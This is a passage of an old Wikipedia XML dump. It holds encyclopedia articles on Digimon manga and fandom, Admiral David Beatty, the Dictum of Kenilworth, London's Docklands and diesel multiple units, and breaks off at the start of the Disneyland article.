Along the way, more humans are brought to the Digital World by Demon, including [[Neo Saiba]], [[Rei Saiba]], [[Sigma (Digimon)|Sigma]], [[Mari]], and [[Hideto]]. Neo is chosen to raise the Digimon that will hatch from the Super Ultimate egg Demon is raising. Rei Saiba, Neo's sister, has a Digimental that will allow the Demon's experimental Digimon to evolve to a level beyond Ultimate. The others, called the [[Alias III]], are to help Neo and Demon with their Digimon. Hideto's Partner is Omegamon, formed by the [[Jogress]] of Org and Meluuga, a WarGreymon and MetalGarurumon respectively. Mari's Partner is a [[Rosemon]] and Sigma's is a [[Piedmon|Piemon]]. They are all villains that eventually reform except Rei, who has no Digimon Partner or evil intentions.

===Digimon Next===
Digimon Next is the second and most recent Digimon manga to be printed in the pages of V-Jump magazine, starting on [[December 17]] [[2005]]. The main character is called Tsurugi Tatsuno and is partnered with a [[Greymon]]. Tsurugi makes contact with the Digital World through his Digimon Mini virtual pet device and a &quot;Battle Terminal&quot;, a virtual reality interface. Digimon can use the technology to materialise in the human world as well.

===Dark Horse===
[[Dark Horse Comics]] published [[United States|American]]-style Digimon [[comic book]]s, adapting the first dubbed 13 episodes of the first animated season. The conclusion to the story arc, however, was never released.

===Panini===
The European publishing company, [[Panini]], approached Digimon in different ways in different countries. While Germany created their own adaptations of episodes, the [[United Kingdom]] reprinted the Dark Horse titles, then translated some of the German adaptations of second-season episodes, and finally began to print their own original stories, which appeared in both the UK's Official Digimon Magazine, and the official Fox Kids companion magazine, [[Wickid]]. These original tales danced in and around the continuity of the second animated season, before shifting to the third season, where the stories were more carefully thought out to fit between the tight storytelling of the animated series and would sometimes focusing on subject matter not covered by the show (such as [[Mitsuo Yamaki|Yamaki]]'s past) or in the west (such as Ryo's story or the undubbed movies). Eventually, in a money saving venture, the original stories were removed from Digimon Magazine, which returned to printing translated German adaptations, this time of Tamers episodes. Eventually, both magazines were cancelled.

===Yuen Wong Yu (TOKYOPOP/Chuang Yi) manga===
The Digimon manga released by [[TOKYOPOP]] in [[North America]] and [[Chuang Yi]] in [[Singapore]] is a Chinese [[manhua]] written and drawn by [[Yuen Wong Yu]], based on the television series and brought to North America, translated by [[Lianne Sentar]]. Covering ''Digimon Adventure'' in five volumes, ''Digimon Adventure 02'' in two and ''Digimon Tamers'' in four, it is heavily abridged, though in rare occasions plays through events differently to the anime. This is the main attraction of the series. Three additional volumes exist, covering ''Digimon Frontier'', but these have not been released in English by TOKYOPOP.

===Digimon Chronicle===
''Digimon Chronicle'' was the storyline accompanying the 2004 ''Digimon'' product line. Originally rumoured to be a new, full-blown manga to replace ''V-Tamer 01'', it eventually transpired to be mostly prose text, printed in the booklets which accompanied the &quot;Pendulum&quot; digital pets. These booklets also contained short, non-sequiter six-page mangas. There are four &quot;chapters&quot;, one sold with the Pendulum X 1.0, another with the Pendulum X 1.5, another with the Pendulum X 2.0, and the final chapter with the Pendulum X 3.0.

This fiction tells the story of a Digital World controlled by a sentient computer named Yggdrasil. Because Digimon had multiplied so much in the past, Yggdrasil, the host computer, was unable to handle the load and the Digital Hazard occurred. Yggdrasil then created the &quot;New Digital World&quot;, consisting of three layers for the past, present, and future - Urd, Versandi, and Skuld, respectively, and then let loose with Project Ark and the X Program to eliminate any Digimon Yggdrasil no longer wanted. However, the Digimon adapted by obtaining a program called the X Antibody, which strengthened them, changed their form, and made them immune to the X Program. Yggdrasil sent in the Royal Knights, thirteen Digimon devoted to keeping order in the Digital World, and at this point Kouta, Yuuji, and Shinji, three humans, somehow found their way into the Digital World and met their partner Digimon, Dorumon for Kouta and Ryuudamon for Yuuji. Kouta and Yuuji resisted Yggdrasil and the Royal Knights, but Shinji apparently sided with Yggdrasil.

===D-Cyber===
The D-Cyber manga is another Chinese Digimon [[manhua]] based on the adventures of Hikaru, Masuken, and Teru. It introduces the concept of X Digimon, but their origin is different from that in the Japanese Digimon Chronicle. In short, an evil [[MetalPhantomon]] seeks to steal the Dragon Spirit from Hikaru's Digimon and use it to revive a powerful evil Digimon. In the end, it takes the power of the three Holy Knights ([[Omegamon]], [[Dukemon]], and [[Magnamon]]) and the power of the three Tamers to put a stop to MetalPhantomon and what he's done.

==Fan Influence==
As ''Digimon'' continues to grow in popularity internationally, the fanbase around the show and manga continues to grow with it in a manner akin to other [[fandom]]s. As with most anime, this includes extensive [[shipping]]. Digimon fanshippers popularized the jargon of their specific brand of shipping by combining the first and last syllables of the relevant characters names, rather than the standard American &quot;/&quot; or &quot;X&quot;. This is most often done with the Japanese names rather than the English ones. For example, a relationship between Hikari (Kari) and Takeru (TK) would be Takari; whilst a relationship between Taichi (Tai) and Yamato (Matt) might be called Taito or Yamachi.

Due to the relative quickness and more accurate translation of the dubbing of the third season, American and Japanese fandoms were somewhat aware of each other and contributed to each others fandoms.

Many fandoms sprouted from Digimon, including a popular fandom called &quot;FDD&quot; (Fictional Digimon and Digidestined) that had a large fandom for Digimon from [[1998]] onwards and is still alive today. Their purpose was to create fictional Digimon and Digidestined teams (or now Tamers) and exchange stories, ideas and drawn images. The fandom is still active in select websites.  They would create their own Digimon and Digidestined and write stories about their adventures.&lt;!-- Customs included starting new stories, drawing pictures for fellow FDDs, and making websites about their characters.--&gt;

In Latin America, the popular soundtrack was dubbed by [[Mexico]]'s [[Intertrack]].

== Notable people ==
* [[Akiyoshi Hongo]] - Creator of the original Digimon concept
* [[Hiroyuki Kakudo]] - Director of ''Digimon Adventure'' and ''Digimon Adventure 02''
* [[Yukio Kaizawa]] - Director of ''Digimon Tamers'' and ''Digimon Frontier''
* [[Naoyuki Itou]] - Director of ''Digimon Savers''
* [[Chiaki J. Konaka]] - Head writer of ''Digimon Tamers''
* [[Takatori Arisawa]] - Composer of the Japanese versions of ''Digimon Adventure'', ''Digimon Adventure 02'', ''Digimon Tamers'' and ''Digimon Frontier''
* [[Jeff Nimoy]] - US Director of ''Digimon Adventure'' and ''Digimon Adventure 02''
* [[Mary Elizabeth McGlynn]] - US Director of ''Digimon Tamers'' and ''Digimon Frontier''

==See also==
* [[List of Digimon]]
* [[Tamagotchi]]
* [[List of human characters in the Digimon series]]
* [[List of Chosen Digimon]]
* [[Digimon: Digital Monsters (anime)]]
* [[Digimon families]]

==External links==
===English===
*[http://www.digimonccg.com/ Bandai of America's Digimon Site]
*[http://tv.disney.go.com/jetix/digimon/index.html JETIX U.S. ''Digimon Tamers'' website]
*[http://thedigi-zone.com/ The Digi-Zone.com]
*[http://shiningevo.ultimatedigimon.com/encyclopedia/encyclopedia.html Megchan's Digimon Encyclopedia]
*[http://digipedia.db-destiny.net/ Digimon Encyclopedia]
*[http://www.digivice.net/ Patamon's World]
*[http://www.thedigiport.com/ TheDigiPort]
*[http://wiki.digivice.net/index.php?title=Main_Page Wikimon, the Digimon Wiki]
*[http://www.digimonhimitsu.com/ Digimon Himitsu]
*[http://www.withthewill.net/ With the Will Forums]

===Japanese===
*[http://www.toei-anim.co.jp/lineup/tv/digimon/ Toei Animation's Digimon Adventure website]
*[http://www.toei-anim.co.jp/tv/digimon02/ Toei Animation's Digimon Digimon Adventure 02 website]
*[http://www.toei-anim.co.jp/tv/digimon_t/ Toei Animation's Digimon Tamers website]
*[http://www.toei-anim.co.jp/tv/digimon_F/ Toei Animation's Digimon Frontier website]
*[http://www.toei-anim.co.jp/tv/digimon_x/ Toei Animation's Digital Monster X-Evolution website]
*[http://www.toei-anim.co.jp/tv/digimon_s/ Toei Animation's Digimon Savers]
*[http://www.digimon.channel.or.jp/ Bandai of Japan's Digimon website]

{{Digimon}}

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[[ja:デジモン]]
[[ko:디지몬 어드벤처]]
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[[zh:數碼寶貝]]</text>
    </revision>
  </page>
  <page>
    <title>Dideoxy sequencing</title>
    <id>8836</id>
    <revision>
      <id>34703423</id>
      <timestamp>2006-01-11T03:06:16Z</timestamp>
      <contributor>
        <username>Petaholmes</username>
        <id>59986</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[DNA sequencing]]</text>
    </revision>
  </page>
  <page>
    <title>David Beatty, 1st Earl Beatty</title>
    <id>8837</id>
    <revision>
      <id>41756780</id>
      <timestamp>2006-03-01T14:55:36Z</timestamp>
      <contributor>
        <username>Cosal</username>
        <id>153219</id>
      </contributor>
      <text xml:space="preserve">[[Image:David Beatty.jpg|right|thumb|David Beatty, 1st Earl Beatty]]

'''David Beatty, 1st Earl Beatty''' ([[17 January]] [[1871]] – [[11 March]] [[1936]]), was an [[admiral]] in the [[Royal Navy]]. 

Born in [[Nantwich]], [[Cheshire]], he joined the Royal Navy in January [[1884]].  He served as a [[midshipman]] on the [[British Mediterranean Fleet| Mediterranean Fleet]] flagship [[HMS Alexandria|HMS ''Alexandria'']] from [[1886]] until [[1888]] when he was transferred to [[HMS Cruiser|HMS ''Cruiser'']]. He was at the gunnery school, [[HMS Excellent|HMS ''Excellent'']] from [[1890]] until [[1892]] when he was promoted to [[lieutenant]].  He was on the [[corvette]] [[HMS Ruby|HMS ''Ruby'']] until [[1893]] when he was transferred to the battleship [[HMS Camperdown (1885)|HMS ''Camperdown'']] until [[1895]]. Ironically he joined the ship shortly after a collision between it and [[HMS Victoria (1887)|HMS ''Victoria'']] had nearly killed his future commander-in-chief at the [[Battle of Jutland]], [[John Jellicoe, 1st Earl Jellicoe]]. Following ''Camperdown'' he was transferred to the battleship [[HMS Trafalgar (1887)|HMS ''Trafalgar'']]. In [[1897]] he was given his first command, the [[destroyer]] [[HMS Ranger|HMS ''Ranger'']].

Beatty gained recognition in the recapture of the [[Sudan]] ([[1897]]-[[1899]]), where he was selected as second in command by [[Horatio Kitchener, 1st Earl Kitchener|Lord Kitchener]] for his [[Khartoum]] expedition. He was promoted to [[commander]] during the expedition, in [[1898]].

He gained further recognition as a member of the British naval brigade during the [[Boxer Rebellion]] ([[1900]]), which he joined from the battleship [[HMS Barfleur|HMS ''Barfleur'']] on the China Station where he was second in command. During the capture of [[Tientsin]] in June he was twice wounded in an arm.

In [[1900]] he married a wealthy heiress, Ethel Tree, the only daughter of department store founder [[Marshall Field]], and this allowed him much independence that poorer officers lacked. She is reputed to have commented after he was threatened with disciplinary action following the straining of his ship's engines &quot;What? Court martial my David? I'll buy them a new ship&quot; [http://books.guardian.co.uk/review/story/0,12084,1129148,00.html].  The couple had houses in [[London]], [[Leicestershire]] and [[Scotland]], and circulated in high society, even occasionally dining with the King. Beatty was well known for his flamboyant character, which included wearing a non-standard [[uniform]], which had only six buttons instead of the regulation eight on the jacket, and always wearing his cap at an angle.

He was captain of [[HMS Duke of Wellington|HMS ''Duke of Wellington'']] from [[1900]] to [[1902]] and of the cruisers [[HMS Juno (1895)|HMS ''Juno'']], [[HMS Arrogant|HMS ''Arrogant'']] in [[1903]]-[[1904]] and [[HMS Suffolk|HMS ''Suffolk'']] from [[1904]] until [[1905]]. He then became the naval advisor to the [[Army Council]] in 1906.

He was made captain of the battleship [[HMS Queen|HMS ''Queen'']] in [[1908]] and promoted to [[Rear Admiral]] on [[1 January]] [[1910]], becoming, at 39, the youngest admiral in the Royal Navy except for Royal family members since [[Horatio Nelson]].

He was offered the post of second-in-command of the Atlantic Fleet, but declined it and asked for one in the [[Home Fleet]]. As the Atlantic Fleet post was a major command, the Admiralty were very unimpressed and his attitude nearly ruined his career. He was put on half pay in [[1912]] but his career was saved when the new First Lord of the [[Admiralty]], [[Winston Churchill]], whom he knew from the [[Sudan]], appointed him private secretary. 

From 1912 to 1916, he commanded the 1st Battlecruiser Squadron.  During the [[Great War]], he took part in actions at [[Battle of Heligoland Bight|Heligoland Bight]] ([[1914]]), [[Battle of Dogger Bank (1915)|Dogger Bank]] ([[1915]]) and [[Battle of Jutland|Jutland]] ([[1916]]). He was an aggressive commander who expected his subordinates to always use their initiative without direct orders from himself.
{{wikiquote}}
[[Battle of Jutland|Jutland]] proved to be decisive in Beatty's career, despite the loss of three of his [[battlecruiser]]s. Beatty is reported to have remarked &quot;there seems to be something wrong with our bloody ships today&quot; after two of them had exploded within half an hour during the battle. Churchill's account of the First World War, ''The World Crisis'', describes Beatty's next order as &quot;Steer two points nearer the enemy&quot;, but this is apocryphal. His next order was to turn away by two points, and in any case a few minutes later he reversed his fleet's course to fulfill its anticipated role of leading the German forces towards the main British fleet.

Admiral [[John Jellicoe]], described by Churchill as the man who could &quot;lose the war in an afternoon&quot; by losing the strategic British superiority in dreadnought battleships, was not the dashing showman that David Beatty was. When Jellicoe was promoted to [[First Sea Lord]] in [[1916]], a significant part of his task was to reduce the huge merchant ship losses caused by [[U-boat]]s, Beatty replaced him as commander of the Grand Fleet. In 1919, he was appointed Admiral of the Fleet and First Sea Lord until his retirement in 1927. Also during 1919, he was created 1st Earl Beatty, Baron Beatty of the North Sea and Brooksby.

David Beatty spent much of his life (when not at sea) in [[Leicestershire]], and lived at [[Brooksby Hall]] (now an agricultural college). During the war he and his wife performed many services for the public of Leicestershire, including opening up their home first as a VAD Hospital under the 5th Northern General Hospital, and later a hospital for Naval Personnel.

In Germany, Beatty ruined his reputation when he told the crews of his ships that were receiving the German High Seas Fleet for its internment at Scapa Flow, &quot;Don't forget that the enemy is a despicable beast,&quot; and arranged the surrender of the German Fleet as a grand spectacle of humilitation.  The German navy thus ignored Beatty's request that its Commander-in-Chief, [[Erich Raeder]], attend his funeral -- as Raeder had done at Jellicoe's funeral earlier. Raeder merely sent the German navy attache.

The Royal Navy named a ''King George V''-class battleship after Beatty, but this ship was renamed [[HMS Howe (1940)|HMS ''Howe'']] before completion.

{{start box}}
{{succession box|title=[[First Sea Lord]]|before=[[Rosslyn Wemyss|Sir Rosslyn Wemyss]]|after=[[Charles Madden|Sir Charles Madden]]|years=1919&amp;ndash;1927}}
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{{succession box|title=[[Earl Beatty]]|before=New Creation|after=[[David Field Beatty, 2nd Earl Beatty|David Field Beatty]]|years=}}
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==References==
* Andrew Gordon, The rules of the game - Jutland and British Naval Command ISBN 0719555426

[[Category:1871 births|Beatty, David Beatty, 1st Earl]]
[[Category:1936 deaths|Beatty, David Beatty, 1st Earl]]
[[Category:British World War I people|Beatty, David Beatty, 1st Earl]]
[[Category:Earls in the Peerage of the United Kingdom|Beatty, David Beatty, 1st Earl]]
[[Category:Royal Navy admirals|Beatty, David Beatty, 1st Earl]]
[[Category:Earls in the Peerage of the United Kingdom|Beatty, David Beatty, 1st Earl]]
[[Category:Knights Grand Cross of the Royal Victorian Order|Beatty, David Beatty, 1st Earl]]
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  <page>
    <title>Dictum of Kenilworth</title>
    <id>8838</id>
    <revision>
      <id>15906780</id>
      <timestamp>2005-05-17T22:31:31Z</timestamp>
      <contributor>
        <username>TheParanoidOne</username>
        <id>119152</id>
      </contributor>
      <minor />
      <comment>{{UK-hist-stub}}</comment>
      <text xml:space="preserve">The '''Dictum of Kenilworth''' issued in [[October]] [[1266]], was the terms of the supporters of [[Simon de Montfort, 6th Earl of Leicester|Simon de Montfort]] for ending their resistance to [[Henry III of England]]. Issued from [[Kenilworth Castle]], its main demand was the right to buy back confiscated estates.

The king agreed and after a slight modification of terms, peace was agreed in [[1267]].


{{UK-hist-stub}}

[[Category:History of Warwickshire]]
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[[Category:Barons' Wars]]</text>
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  <page>
    <title>Docklands</title>
    <id>8839</id>
    <revision>
      <id>42043961</id>
      <timestamp>2006-03-03T12:11:45Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/80.134.227.238|80.134.227.238]] ([[User talk:80.134.227.238|talk]]) to last version by Ahoerstemeier</comment>
      <text xml:space="preserve">:'''Docklands''' ''can also refer to the urban redevelopment project in [[Melbourne]], [[Australia]], see [[Melbourne Docklands]].''

[[Image:08-14-05 Royal Victoria Dock.jpg|thumb|right|The [[Millennium Dome]] and [[Canary Wharf]] from the [[Royal Victoria Dock]].]]
'''Docklands''' is the semi-official name for an area in the east of [[London]], [[England]], comprising parts of several boroughs ([[Southwark]], [[Tower Hamlets]] and [[Newham]]) in [[Greater London]]. The eponymous docks were formerly part of the [[Port of London]], at one time the world's largest port. They have now been redeveloped principally for commercial and residential use. The name '''London Docklands''' was used for the first time in a government report on redevelopment plans in [[1971]] but has since become virtually universally adopted. 

==Dockland areas==

[[Image:Docklands-map.jpg|thumb|right|250px|Docklands Areas]]

London's Docklands comprise a number of former dockyard complexes along the Thames, which are (from west to east):

* [[St Katharine Docks]] ([[Wapping]])
* [[London Docks]] ([[Wapping]])
* [[Regent's Canal Dock]] (now [[Limehouse Basin]], [[Limehouse]])
* [[Surrey Commercial Docks]] (now [[Surrey Quays]], [[Rotherhithe]])
* [[West India and Millwall Docks]] ([[Isle of Dogs]])
* [[East India Docks]] ([[Canning Town]])
* [[Royal Docks]] ([[Royal Victoria Dock]], [[Royal Albert Dock]] &amp; [[King George V Dock]]) 

Another dockyard exists much further downstream at [[Tilbury]], but this is not generally regarded as part of the Docklands.

The area referred to as the Docklands, which mostly lies on the north bank of the Thames, comprises chiefly of the former properties of the Port of London. It does ''not'' comprise the whole of the former riverside port. Many other wharves and quays are located along the lower Thames, though only a few (mostly in [[Greenwich]]) are still used for their original purpose. These are not generally regarded as being part of the Docklands.

== History ==

=== Development of the docks ===
In [[Roman Britain|Roman]] and [[medieval]] times, ships tended either to dock at small quays in the present-day [[City of London]] or [[Southwark]], an area known as the ''[[Pool of London]]''. However, this gave no protection against the elements, was vulnerable to thieves and suffered from a lack of space at the quayside. The [[Howland Great Dock]] in [[Rotherhithe]] (built [[1696]] and later forming the core of the Surrey Commercial Docks) was designed to address these problems, providing a large, secure and sheltered anchorage with room for 120 large vessels. It was a major commercial success and provided a template for two phases of expansion during the [[Georgian era|Georgian]] and [[Victorian era]]s.

The first of the Georgian docks was the West India (opened [[1802]]), followed by the London ([[1805]]), the East India (also [[1805]]), the Surrey ([[1807]]), St Katharine ([[1828]]) and the West India South ([[1829]]). The Victorian docks were mostly further east, comprising the Royal Victoria ([[1855]]), Millwall ([[1868]]) and Royal Albert ([[1880]]). The King George V was a late addition in [[1921]].

[[Image:Thames river 1882.jpg|thumb|left|600px|The London docks in 1882. The [[King George V Dock]] had not yet been built.]]

=== Docks and dockers ===
Three principal kinds of docks existed. '''Wet docks''' were where ships were laid up at anchor and loaded or unloaded. '''Dry docks''', which were far smaller, took individual ships for repairing. Ships were built at '''shipyards''' along the riverside. In addition, the river was lined with innumerable warehouses, piers, jetties and dolphins (mooring points). The various docks tended to specialise in different forms of produce. The Surrey Docks concentrated on timber, for instance; Millwall took grain; St Katharine took wool, sugar and rubber; and so on.

The docks required an army of workers, chiefly [[lightermen]] (who carried loads between ships and quays aboard small barges called [[lighter]]s) and quayside workers, who dealt with the goods once they were ashore. Some of the workers were highly skilled - the lightermen had their own [[livery company]] or guild, while the [[deal porters]] (workers who carried timber) were famous for their acrobatic skills. Most, however, were unskilled and worked as casual labourers. They had to assemble at certain points, such as pubs, each morning, from where they would be selected more or less at random by foremen. For these workers, it was effectively a lottery as to whether they would get work - and pay, and food - on any particular day. This arrangement continued until as late as [[1965]], although it was somewhat regularised after the creation of the [[National Dock Labour Scheme]] in [[1947]].

The main dockland areas were originally low-lying marshes, mostly unsuitable for agriculture and only lightly populated. With the establishment of the docks, the dockyard workers formed a number of tight-knit local communities with their own distinctive cultures and slang. Poor communications meant that they were quite remote from other parts of London and so tended to develop in some isolation. The Isle of Dogs, for instance, had only two roads in and out. Local sentiment was so strong that in 1920 residents blocked the roads and declared independence!

=== The docks in the 20th century ===
[[Image:Museum_in_Docklands_at_night_2005-01-10.JPG|thumb|right|[[Museum in Docklands]], near [[Canary Wharf]]]]
The docks were originally built and managed by a number of competing private  companies. From [[1909]], they were managed by the [[Port of London Authority]], or PLA, which amalgamated the companies in a bid to make the docks more efficient and improve [[labour relations]]. The PLA constructed the last of the docks, the King George V, in 1921, as well as greatly expanding the Tilbury docks.

[[Germany|German]] bombing during the [[World War II|Second World War]] caused massive damage to the docks, with 380,000 tons of timber destroyed in the Surrey Docks in a single night. Nonetheless, following post-war rebuilding they experienced a resurgence of prosperity in the [[1950s]]. The end came suddenly, between approximately [[1960]] and [[1970]], when the shipping industry adopted the newly invented  container system of cargo transportation.  London's docks were unable to accommodate the much larger vessels needed by [[containerization]] and the shipping industry moved to deep-water ports such as [[Tilbury]] and [[Felixstowe]]. Between [[1960]] and [[1980]], all of London's docks were closed, leaving around eight square miles (21&amp;nbsp;km&amp;sup2;) of derelict land in East London. Unemployment was high, and poverty and other social problems were rife.

=== Redevelopment ===
[[Image:Canary Wharf at Sunset.jpg|thumb|right|Canary Wharf at sunset]]

Efforts to redevelop the docks began almost as soon as they were closed, although it took a decade for most plans to move beyond the drawing board and another decade for redevelopment to take full effect. The situation was greatly complicated by the large number of landowners involved: the PLA, the [[Greater London Council]] (GLC), the British Gas Corporation, five borough councils, [[British Rail]] and the [[Central Electricity Generating Board]].  

To address this problem, in [[1981]] the [[Secretary of State for the Environment]], [[Michael Heseltine]], formed the '''[[London Docklands Development Corporation]]''' (LDDC) to redevelop the area.  This was a statutory body appointed and funded by central government (a [[quango]]), with wide powers to acquire and dispose of land in the Docklands. It also served as the development planning authority for the area.

Another important government intervention was the designation in [[1982]] of an [[enterprise zone]], an area in which businesses were exempt from property taxes and had other incentives, including simplified planning and capital allowances. This made investing in the Docklands a significantly more attractive proposition and was instrumental in starting a property boom in the area.

LDDC was controversial - it was accused of favouring elitist luxury developments rather than affordable housing, and it was unpopular with the local communities, who felt that their needs were not being addressed. Nonetheless, the LDDC was central to a  remarkable transformation in the area, although how far it was in control of events is debatable. It was wound up in [[1998]] when control of the Docklands area was handed back to the respective local authorities.

The massive development programme managed by the LDDC during the [[1980s]] and [[1990s]] saw a huge area of the Docklands converted into a mixture of residential, commercial and light industrial space. The clearest symbol of the whole effort was the ambitious [[Canary Wharf]] project that constructed Britain's tallest building and established a second major financial centre in London. However, there is no evidence that LDDC foresaw this scale of development and nearby [[Heron Quays]] has already been developed as low density offices when Canary Wharf was proposed, with similar development already underway on Canary Wharf itself, Limehouse Studios being the most famous occupant. 

Canary Wharf was far from trouble free (''See main article [[Canary Wharf]]''), and the property slump of the early 1990s halted all development in Docklands for several years. Developers similarly found themselves saddled with property which they were unable to sell or let.

[[Image:docks-transport.jpg|thumb|right|300px|Transport in the Docklands today]]
The Docklands  historically had poor transport connections. This was addressed by the LDDC with the construction of the  [[Docklands Light Railway]] (DLR), which connected the Docklands with the City. It was a remarkably cheap development, costing only £77m in its first phase, as it relied on reusing disused railway infrastructure and derelict land for much of its length (LDDC originally requested a fully specified [[London Underground|Tube]] line, but the Government refused to fund it). 

LDDC also built [[Limehouse Link tunnel]] a [[cut and cover]] road tunnel linking the [[Isle of Dogs]] to [[The Highway]] (the [[A13 road]]) at a cost of over £150 million per kilometre, one of the most expensive stretches of road ever built.

The LDDC also contributed to the development of [[London City Airport]] ([[IATA airport code]] LCY), opened in October [[1987]] on the spine of the Royal Docks.

=== The Docklands today ===
[[image:Docklands.jpg|thumb|256px|Tall commercial buildings now cluster around Canary Wharf tube station.]]

Over the past 20 years, the population of the Docklands has more than doubled and the area has become both a major business centre and an increasingly acceptable area to live. Transport links have improved significantly, with the [[Isle of Dogs]] gaining a [[London Underground|Tube]] connection via the [[Jubilee Line Extension]] (opened [[1999]]) and the DLR being extended to [[Beckton]], [[Lewisham]], [[London City Airport]], [[North Woolwich]] and [[Stratford]]. Canary Wharf has become one of Europe's biggest clusters of skyscrapers and direct challenge to the financial dominance of the City. Further east, the [[Royal Docks]] are finally being regenerated most prominently symbolised the [[ExCeL Exhibition Centre]]. 

Although most of the old Dockland wharves and warehouses have been demolished, some have been restored and converted into flats. Most of the docks themselves have survived and are now used as marinas or watersports centres (the major exception being the [[Surrey Commercial Docks]], now largely filled in). Although large ships can - and occasionally still do - visit the old docks, all of the commercial traffic has moved down-river to [[Tilbury]].

The revival of the Docklands has had major effects in run-down surrounding areas. [[Greenwich]] and [[Deptford, London|Deptford]] are undergoing large-scale redevelopment, chiefly as a result of the improved transport links making them more attractive to commuters.

The Docklands' redevelopment has, however, had some less beneficial aspects. The massive property boom and consequent rise in house prices has led to friction between the new arrivals and the old Docklands communities, who have complained of being squeezed out. It has also made for some of the most striking disparities to be seen anywhere in Britain: luxury executive flats constructed alongside run-down public housing estates.

The Docklands' status as a symbol of [[Margaret Thatcher|Thatcher]]'s Britain has also made it a target for terrorists. After a failed attempt to bomb Canary Wharf, on [[February 10]] [[1996]], a huge [[Provisional Irish Republican Army|IRA]] bomb exploded at South Quay. Two people died in the explosion, forty people were injured and an estimated £150m of damage was caused&lt;sup&gt;(1)&lt;/sup&gt;. In a [[1998]] trial James McArdle was imprisoned for 25 years after a trial at [[Woolwich]] [[Crown Court]] that ended on [[June 24]]. Under the terms of the [[Good Friday Agreement]], McArdle was released on  [[June 28]] [[2000]].

(1) ''The parlous state of the Docklands property market at the time of the blast, combined with a lengthy delay in implementing redevelopment, means a true estimate of the financial cost is difficult to reach.''

== Future developments ==
The continued success of the Docklands redevelopment has prompted a number of further development schemes, including:

* Extensions of the Docklands Light Railway to [[Woolwich]] and possibly [[Dagenham]].
* [[Crossrail]] mainline link between Canary Wharf, central London and north [[Kent]].
* Further development of [[Canada Water]].
* Redevelopment of Blackwall Basin and [[Wood Wharf]], east of Canary Wharf.
* Further development of the Royal Docks area, including the [[Silvertown Quays]] project.

In the early 21st century redevelopment is spreading into the more suburban parts of East London, and into the parts of the counties of [[Kent]] and [[Essex]] which abut the [[Thames Estuary]]. See [[Thames Gateway]] and [[Lower Lea Valley]] for further information on this trend.

== See also ==
* [[Deal porters]]
* [[Pool of London]]
* [[Port of London Authority]]

==External links==
* [http://www.lddc-history.org.uk/beforelddc/index.html History of Docklands redevelopment]
* [http://www.michaelpead.co.uk/photography/london/docklands.shtml Michael Pead :: Photos of the Docklands]

[[Category:Districts of London]]
[[Category:Tower Hamlets]]
[[Category:Newham]]

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  <page>
    <title>Diesel multiple unit</title>
    <id>8840</id>
    <revision>
      <id>38830110</id>
      <timestamp>2006-02-08T22:43:40Z</timestamp>
      <contributor>
        <username>Radomil</username>
        <id>32828</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Szynobus Wlkp..JPG|thumb|right|250px|DMU, type SA108 of [[Great Poland Voivodship]] in [[Poznan]], [[Poland]]]]
[[Image:Baureihe_628_in_lorsch_100_1938.jpg|thumb|right|250px|[[Deutsche Bahn AG|German]] DMU of [[DB Class 628|class 628]]]]

A '''diesel multiple unit''' (DMU) can be:
*a [[multiple unit]] powered by a [[diesel engine]]. (A multiple unit car contains both passenger accommodations and propulsion systems.)
*to a lesser extent, a combination of [[Diesel_(disambiguation)|diesel]] powered [[locomotive]]s operating under the control of one engine-driver, coupled together consecutively, usually at the head end of the train, which further consists of [[wagon]]s or [[carriage]]s.
== Basics ==
DMU classification is subdivided into the form of the transmission: Diesel Mechanical Multiple Unit has a mechanical transmission; Diesel Hydraulic Multiple Unit has a hydraulic transmission; [[Diesel-electric multiple unit|Diesel Electrical Multiple Unit]] has an electrical transmission.

The diesel engine may be overboard or underslung. When underslung, it is also referred to as [[Railcar]].

A [[regional rail]] train composed of DMU cars &quot;scales&quot; well (I.e. adding additional cars automatically adds power).  Distribution of the propulsion among the cars also results in a system that is less vulnerable to single-point-of-failure outages. Because they operate on diesel, there is no need to run overhead electric lines or electrified track, which can result in lower system construction costs.

More rugged than [[light rail]], DMU systems can be safely operated within freight rail corridors, though safety regulations in the U.S., and scheduling concerns, require that they be operated on separate tracks. 

== Situation in the USA ==
In the USA, Federal Railway Administration rules effectively prohibit the type of lightweight DMUs used elsewhere in the world.

When used with diesel locomotives, the connections typically consist of seven air hoses and one electrical cable. The largest hose, located next to the [[coupling (railway)|coupler]] is the main air brake line. Outboard of this are two smaller hoses which link the air compressors on the locomotives. Further out are two hoses which control the brakes on the locomotives independently of the rest of the train. The two outermost hoses control the application of sand to the rails. An electrical cable above the coupler transmits throttle information from one locomotive to the next. Locomotives set up to use [[slug (railroad)|slugs]] have extra connections for transmitting electricity.

== Elsewhere in the world ==

== Manufacturers ==

DMU manufacturers include:
* [[Bombardier Transportation]] of [[Montreal]], [[Canada]]
* [http://www.coloradorailcar.com/ Colorado Railcar]
* [[Rotem]] of [[Seoul]], [[South Korea]]
* [[Siemens AG|Siemens]] [[Desiro]] DMU
* [[Integral Coach Factory]] of [[Chennai]], [[India]]

== See also ==
* [[Railways]]


{{rail-stub}}

[[Category:Rail transport]]
[[Category: Multiple units]]

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  </page>
  <page>
    <title>Disneyland</title>
    <id>8842</id>
    <revision>
      <id>42091654</id>
      <timestamp>2006-03-03T19:48:02Z</timestamp>
      <contributor>
        <ip>137.190.86.149</ip>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">:''This article is about Disneyland in California, an American-based theme park. For other Disney parks and attractions see [[Walt Disney Parks and Resorts]] or [[:category:Disney parks and attractions|Category:Disney parks and attractions]]. For the television series originally titled'' Disneyland'', see [[Walt Disney anthology series]].''
{{Disneyparkinfo|
image= [[Image:Disneyland_Park.jpg|200px]]&lt;br&gt;[[Image:SBC50.jpg|200px]]&lt;br /&gt;&lt;small&gt;[[Sleeping Beauty Castle]] is decorated for the park's [[Happiest Homecoming on Earth|fiftieth birthday]]|
bgcolor=#fc0|
fgcolor=#000|
name=Disneyland Park|
location=[[Anaheim, California]], [[USA]]|
opening=[[July 17]], [[1955]]|
resort=[[Disneyland Resort]]|
theme=Magic Kingdom|
website=[http://www.disneyland.com Disneyland Resort Homepage]|
operator=[[The Walt Disney Company]]|
}}
